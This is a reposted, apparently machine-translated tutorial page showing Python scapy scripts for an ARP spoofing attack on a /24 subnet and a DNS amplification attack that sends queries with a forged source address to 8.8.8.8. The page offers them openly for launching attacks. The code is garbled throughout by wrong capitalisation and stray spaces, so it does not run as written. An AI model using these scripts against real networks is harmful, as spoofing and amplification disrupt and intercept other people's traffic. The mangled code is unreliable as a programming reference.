An example of using scapy to simulate packet arp attacks and dns Amplification Attacks in Python-Python tutorial

Source: Internet
Author: User
This article describes how to use scapy to simulate packets in Python to implement arp attacks and dns amplification attacks. This article focuses on the use of scapy, for more information, see scapy, a powerful interactive data packet processing program written in python. scapy can be used to send, sniff, parse, and forge network data packets, network attacks and tests are often used.

Here we will use python scapy directly.

This is an arp attack. you can launch an arp attack.

The code is as follows:


#! /Usr/bin/python
"""
ARP attack
"""
Import sys, OS
From scapy. all import *
If OS. geteuid ()! = 0:
Print "This program must be run as root. Aborting ."
Sys. exit ()

If len (sys. argv) <2:
Print "Pkease Use % s x. x. x" % (sys. argv [0])
Exit ()
AttackIP = sys. argv [1] + ". 0/24"
Srploop (Ether (dst = "FF: FF")/ARP (pdst = attackIP, psrc = "192.168.1.100", hwsrc = "00: 66: 66: 66: 66: 66 "), timeout = 2)

Dns Amplification Attacks

The code is as follows:


# Coding: UTF-8
From scapy import *
From scapy. all import *

A = IP (dst = '8. 8.8.8 ', src = '192. 168.1.200') #192.168.1.200 is a forged source ip address.
B = UDP (dport = 53)
C = DNS (id = 1, qr = 0, opcode = 0, tc = 0, rd = 1, qdcount = 1, ancount = 0, nscount = 0, arcount = 0)
C. qd = DNSQR (qname = 'www .qq.com ', qtype = 1, qclass = 1)
P = a/B/c
Send (p)
~

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.